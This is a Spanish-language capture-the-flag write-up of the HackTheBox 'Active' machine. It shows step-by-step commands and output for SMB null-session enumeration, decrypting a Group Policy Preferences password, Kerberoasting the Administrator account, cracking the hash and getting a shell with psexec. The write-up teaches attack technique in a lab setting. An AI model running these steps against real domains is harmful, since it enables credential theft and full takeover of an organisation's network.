HTB active AD
¡Hola!
En esta ocasión vamos a resolver de la máquina active
AD de HackTheBox.
La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!
PREPARACIÓN
Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre active
y los subdirectorios recon
junto con exploit
, con el objetivo de organizar la información que recopilemos en la realización de la máquina.
mkhack active
cd !$/recon
RECONOCIMIENTO
Accedemos al directorio recon
e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl
time to live de una traza ICMP.
osping 10.10.10.100
[*] Detectando sistema operativo ...
[+] 10.10.10.100 ttl=127 >> Windows
Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.100 -oG ports | grep open
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5722/tcp open msdfsr
9389/tcp open adws
47001/tcp open winrm
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49165/tcp open unknown
49168/tcp open unknown
49169/tcp open unknown
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.
nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49169 -sCV 10.10.10.100 -oN versions
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-01-13 03:25:37Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
49169/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
AD DOMAIN DETECTION
Iniciamos con la detección del dominio
donde inicialmente, por medio de la utilidad crackmapexec
enumeramos información necesaria para tener un mejor alcance a la máquina víctima.
crackmapexec smb 10.10.10.100
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
Agregamos en el archivo /etc/hosts
sudo su
nvim /etc/hosts
10.10.10.100 DC DC.active.htb active.htb
SMB NULL SESSION ENUM
Eumeramos información por null session
crackmapexec smb 10.10.10.100 --shares
smbclient -L 10.10.10.100 -N
Anonymous login successful
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
Revisamos los archivos con capacidad de lectura, encontrando groups.xml
, el cual contiene una credencial codificada, por lo tanto descargamos este archivo en nuestra máquina.
smbmap -H 10.10.10.100 -r "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"
smbmap -H 10.10.10.100 --download "Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml"
mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml groups.xml
DECRYPT GROUPS.XML PASSWORD
Vamos a proceder a desencriptar esta credencial para el usuario SVC_TGS
con la utilidad gpp-decrypt
cat groups.xml
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
GRANTED SMB ACCESS SVC_TGS USER
Tenemos una credencial! Es momento de ponerlo a prueba con la utilidad crackmapexec
por medio del protocolo smb
, donde tenemos acceso a más recursos compartidos.
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB 10.10.10.100 445 DC [+] Enumerated shares
SMB 10.10.10.100 445 DC Share Permissions Remark
SMB 10.10.10.100 445 DC ----- ----------- ------
SMB 10.10.10.100 445 DC ADMIN$ Remote Admin
SMB 10.10.10.100 445 DC C$ Default share
SMB 10.10.10.100 445 DC IPC$ Remote IPC
SMB 10.10.10.100 445 DC NETLOGON READ Logon server share
SMB 10.10.10.100 445 DC Replication READ
SMB 10.10.10.100 445 DC SYSVOL READ Logon server share
SMB 10.10.10.100 445 DC Users READ
FLAG USER.TXT (SMB)
Luego de revisar los archivos, encontramos la flag user.txt
, siendo así descargamos el archivo y lo miramos en nuestra máquina atacante.
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop/user.txt
mv 10.10.10.100-Users_SVC_TGS_Desktop_user.txt user.txt
head -c 10 user.txt; echo
0f832bb8a8
AD ENUM RPCCLIENT (WITH CREDS)
Ahora que tenemos credenciales, vamos a realizar una enumeración por RPC
con la utilidad rpcclient
ENUMERACIÓN DE USUARIOS NULL SESSION
rpcclient -U "" 10.10.10.100 -N -c enumdomusers
Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
CREACIÓN DE LISTADO DE USUARIOS
rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c enumdomusers | grep -oP '\[.*?\]' | grep -v 0x | tr -d '[]' > users.txt
ENUMERACIÓN DE GRUPOS
rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[DnsUpdateProxy] rid:[0x44e]
ENUMERACIÓN MIEMBROS GRUPO DOMAIN ADMINS (0X200)
rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "querygroupmem 0x200"
rid:[0x1f4] attr:[0x7]
ENUMERACIÓN DE USUARIO ADMINISTRATOR DEL GRUPO DOMAIN ADMINS (0X1F4)
rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "queryuser 0x1f4"
User Name : Administrator
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : Built-in account for administering the computer/domain
Workstations:
Comment :
Remote Dial :
Logon Time : jue, 12 ene 2023 22:10:29 -05
Logoff Time : mié, 31 dic 1969 19:00:00 -05
Kickoff Time : mié, 31 dic 1969 19:00:00 -05
Password last set Time : mié, 18 jul 2018 14:06:40 -05
Password can change Time : jue, 19 jul 2018 14:06:40 -05
Password must change Time: mié, 13 sep 30828 21:48:05 -05
unknown_2[0..31]...
user_rid : 0x1f4
group_rid: 0x201
acb_info : 0x00000210
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000041
padding1[0..7]...
logon_hrs[0..21]...
ENUMERACIÓN DESCRIPCIONES DE USUARIOS
rpcclient -U 'SVC_TGS%GPPstillStandingStrong2k18' 10.10.10.100 -c "querydispinfo"
index: 0xdea RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xe19 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xeb2 RID: 0x44f acb: 0x00000210 Account: SVC_TGS Name: SVC_TGS Desc: (null)
KERBRUTE INSTALL
Instalamos la utilidad kerbrute
para poder enumerar usuarios por medio del protocolo kerberos
git clone http://github.com/ropnop/kerbrute
cd kerbrute
go build .
go build -ldflags '-s -w' .
upx kerbrute
mv kerbrute /usr/bin/kerbrute
TGT KERBRUTE ENUM
Procedemos con la emumeración de usuarios que capturamos anteriormente en el archivo users.txt
kerbrute userenum -d active.htb --dc 10.10.10.100 users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 01/12/23 - Ronnie Flathers @ropnop
2023/01/12 23:40:30 > Using KDC(s):
2023/01/12 23:40:30 > 10.10.10.100:88
2023/01/12 23:40:30 > [+] VALID USERNAME: Administrator@active.htb
2023/01/12 23:40:30 > [+] VALID USERNAME: SVC_TGS@active.htb
2023/01/12 23:40:30 > Done! Tested 4 usernames (2 valid) in 0.099 seconds
AD TGT GETNPUSERS.PY
Otra manera de enumerar usuarios validos del dominio es con la utilidad GetNPUsers
de la suite de Impacket
, en esta ocasión podemos corroborar los dos usuarios validos encontrados anteriormente.
impacket-GetNPUsers active.htb/ -no-pass -usersfile users.txt
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set
GETUSERSPNS ENUM (KERBEROASTING ATTACK)
Ahora que tenemos credenciales, vamos a sacar provecho y capturar el hash NTMLv2
en caso de que sea posible, para que, posteriormente logremos por fuerza bruta romper este hash y obtener una contraseña en texto plano. Primero se consulta si es posible obtener el hash y luego lo solicitamos, todo por medio de la utilidad GetUserSPNs
impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 14:06:40.351723 2023-01-12 22:10:28.819364
impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100 -request
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 14:06:40.351723 2023-01-12 22:10:28.819364
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$533cddd55739a66c6390663f54560c71$536da9030c0fcfe56898fb14b26a99224129f8d70ede472a9d68a8cda50ddf7103d88e9d3e82879213e6881399aa363155e663f80ab390f9b9395d9d8167eb5206552d2fdd17670f5578cc44a6da52ef1da911f04af0fa652cb77df376cdaf27ddf2df147c3cdc998c338bf76aa9deea8ccc109ef941978e83ae0cc8409f64765804dda10ab0e6877733e2b2edf7ded7bb8392326f3727333ce630f848ea04a25aa1787d51ae01a33aeaf8c6c3d5d4cd0e733f43953b99b75993b90c422de8fc290f5ca41804fea76b93a4fef39e5691e63da8cff4b602b22a38f955a6160fb0e7ff85f9aac665d6e0a8cfc1602194a0914195c4a0e860d7558a4d710b5db2e9e8a6e71e940c8a33e426ec5a3ee04a8c6e2fb73e7544378bb4f71e29caa3f1ac3e6408e3ca588730116463cf7435e46ced0f7c82d4d35732b5d0df7a8a3942812adff8b51d01d3a3af53a51bb5286da83e629f9c699ac60603b60620384129fae32d9fe9a5d6e06fffccb5ac0cee924227653078632ac7950efdd9761ad362930aa66f127a538d368165660123d2f30ad709e0ca7f8a9f3f6b16a50314ccb50d1038d34a243d84f98738c7295b8f3637be871ef898232549775437508d68acbd7cbfabf88f4096aa0c79f3a18c8196cd30b861c9cd6e2c150a52d8c3f7136beadc50a734768c28c287fe21908f0e6fb4b90e21fbbfd9ddc8fa345a9d4acb26ca82bfd22243a6253dec1a6322a568b545565b99bfb40bade7088304c5879bd296c5c5f99d2eef5cc5a522a8793dff365fc3d279faacd80dc803a8400b2f0d04a21e2ceb015690302e22485296d69e5dc66b615eefde19c402f1bc4850913a1f677f7dadbe433fcbe38a5917711a50a5443c430e26bc3b4702371c56bf4413b4b89c7da880a7f62893b8a1737adfe2afb0aa1d5cc4a6e1fb5fdfbf55bcd4d658d4d4080f1853599159f00de46bc7761297fa776986888d61ee681083882cafd127390545f3624d14cf3838e5b2eddfa2f4935be0b9bb8c9404fbce1cd0dcc0feb1bfe7f03c9064b29bddb0183858c35b8b096ff6b4eca2107922d8334ba5028c80160bc167c6c9848a46f741dddb986571021edd49658d05d868502aad7292bf4ab2c87413554a79e6ae1ad3679a25101332a5b34bba01752c6df15ff7055eefcf0427cbdc9e8c7f0eca8db233c766a14391fa18c59fd3120d1ef5825d8465027fdbcbf5c6a90b094f43c97f08524a2b0dd42bf9fba2490ad8e310
BRUTEFORCE ADMINISTRATOR HASH
Capturamos el hash y lo guardamos en un archivo homonimo hash
, luego lo rompemos con la utilidad john
impacket-GetUserSPNs "active.htb/SVC_TGS:GPPstillStandingStrong2k18" -dc-ip 10.10.10.100 -request | tail -n 1 > hash
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
GRANTED ACCESS ADMINISTRATOR USER
Tenemos la credencial del usuario Administrator
, ahora vamos a validarlo por smb
con la utilidad crackmapexec
y ya obteniendo un acceso como administrador Pwn3d
, procedemos con la utilidad impacket-psexec
a entablar una conexión directamente con la máquina víctima.
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)
impacket-psexec 'active.htb/Administrator:Ticketmaster1968@10.10.10.100' cmd.exe
whoami
FLAGS
Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type
, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.
C:\Windows\system32>cd C:/
C:\>dir /b/s user.txt
C:\Users\SVC_TGS\Desktop\user.txt
C:\>set /P user=<"C:\Users\SVC_TGS\Desktop\user.txt"
C:\>echo.%user:~0,10%
0f832bb8a8
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt
set /P root=<"C:\Documents and Settings\Administrator\Desktop\root.txt"
echo.%root:~0,10%
aa4beed1c0
¡Hemos logrado completar la máquina active
de HackTheBox!
¡Que tengan un buen día en el planeta donde se encuentren!
Nos vemos en otro bit.